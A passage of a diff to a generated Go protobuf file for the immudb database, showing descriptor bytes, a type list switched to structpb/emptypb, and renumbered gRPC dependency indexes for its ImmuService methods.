0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, - 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, - 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, - 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, - 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, - 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, - 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, - 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, - 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, - 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, - 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, - 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, - 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, - 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, - 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, - 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, - 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, - 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, - 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, 0x07, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, + 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, + 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, + 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, + 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, + 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, + 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, + 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, + 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, + 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, + 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, + 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, + 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, + 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, + 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, + 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, + 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, + 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, + 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, + 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, + 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, + 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, + 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, + 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, + 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, + 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, + 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, + 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, + 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x33, } var ( @@ -10114,14 +10140,14 @@ var file_schema_proto_goTypes = []interface{}{ (*Precondition_KeyMustExistPrecondition)(nil), // 121: immudb.schema.Precondition.KeyMustExistPrecondition (*Precondition_KeyMustNotExistPrecondition)(nil), // 122: immudb.schema.Precondition.KeyMustNotExistPrecondition (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 123: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition - nil, // 124: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - nil, // 125: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - nil, // 126: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - nil, // 127: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - nil, // 128: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - nil, // 129: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - (_struct.NullValue)(0), // 130: google.protobuf.NullValue - (*empty.Empty)(nil), // 131: google.protobuf.Empty + nil, // 124: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + nil, // 125: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + nil, // 126: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + nil, // 127: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + nil, // 128: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + nil, // 129: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + (structpb.NullValue)(0), // 130: google.protobuf.NullValue + (*emptypb.Empty)(nil), // 131: google.protobuf.Empty } var file_schema_proto_depIdxs = []int32{ 4, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission @@ -10205,209 +10231,211 @@ var file_schema_proto_depIdxs = []int32{ 75, // 78: immudb.schema.DatabaseNullableSettings.maxActiveTransactions:type_name -> immudb.schema.NullableUint32 75, // 79: immudb.schema.DatabaseNullableSettings.mvccReadSetLimit:type_name -> immudb.schema.NullableUint32 75, // 80: immudb.schema.DatabaseNullableSettings.vLogCacheSize:type_name -> immudb.schema.NullableUint32 - 78, // 81: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool - 79, // 82: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString - 79, // 83: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString - 75, // 84: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 - 79, // 85: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString - 79, // 86: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString - 78, // 87: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool - 75, // 88: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 - 75, // 89: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 - 75, // 90: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 - 78, // 91: immudb.schema.ReplicationNullableSettings.AllowTxDiscarding:type_name -> immudb.schema.NullableBool - 75, // 92: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 93: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 94: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 - 75, // 95: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 - 75, // 96: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 - 76, // 97: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 - 75, // 98: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 - 75, // 99: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 - 75, // 100: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 101: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 102: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 103: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 - 77, // 104: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat - 75, // 105: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 - 80, // 106: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds - 75, // 107: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 108: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 115, // 109: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue - 94, // 110: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest - 36, // 111: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata - 96, // 112: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry - 38, // 113: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 40, // 114: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 124, // 115: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 125, // 116: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 126, // 117: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 127, // 118: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 1, // 119: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 67, // 120: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 104, // 121: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings - 81, // 122: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings - 109, // 123: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 109, // 124: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 115, // 125: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 111, // 126: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 127: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 128, // 128: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 129, // 129: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 113, // 130: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 114, // 131: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 115, // 132: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 130, // 133: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 134: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 76, // 135: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 - 80, // 136: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 115, // 137: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 115, // 138: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 131, // 139: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 140: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 141: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 99, // 142: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 100, // 143: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 144: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 145: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 146: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 131, // 147: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 131, // 148: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 116, // 149: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 131, // 150: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 131, // 151: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 107, // 152: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 153: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 154: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 131, // 155: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 41, // 156: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 45, // 157: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 42, // 158: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 46, // 159: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 44, // 160: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 43, // 161: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 162: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 163: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 164: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 131, // 165: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 59, // 166: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 62, // 167: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 63, // 168: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 57, // 169: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 47, // 170: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 131, // 171: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 131, // 172: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 131, // 173: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 52, // 174: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 53, // 175: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 54, // 176: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 58, // 177: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 56, // 178: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 67, // 179: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 68, // 180: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 69, // 181: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 85, // 182: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 87, // 183: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 89, // 184: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 131, // 185: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 102, // 186: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 67, // 187: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 68, // 188: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 71, // 189: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 131, // 190: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 73, // 191: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 91, // 192: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 131, // 193: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 42, // 194: immudb.schema.ImmuService.streamGet:input_type -> 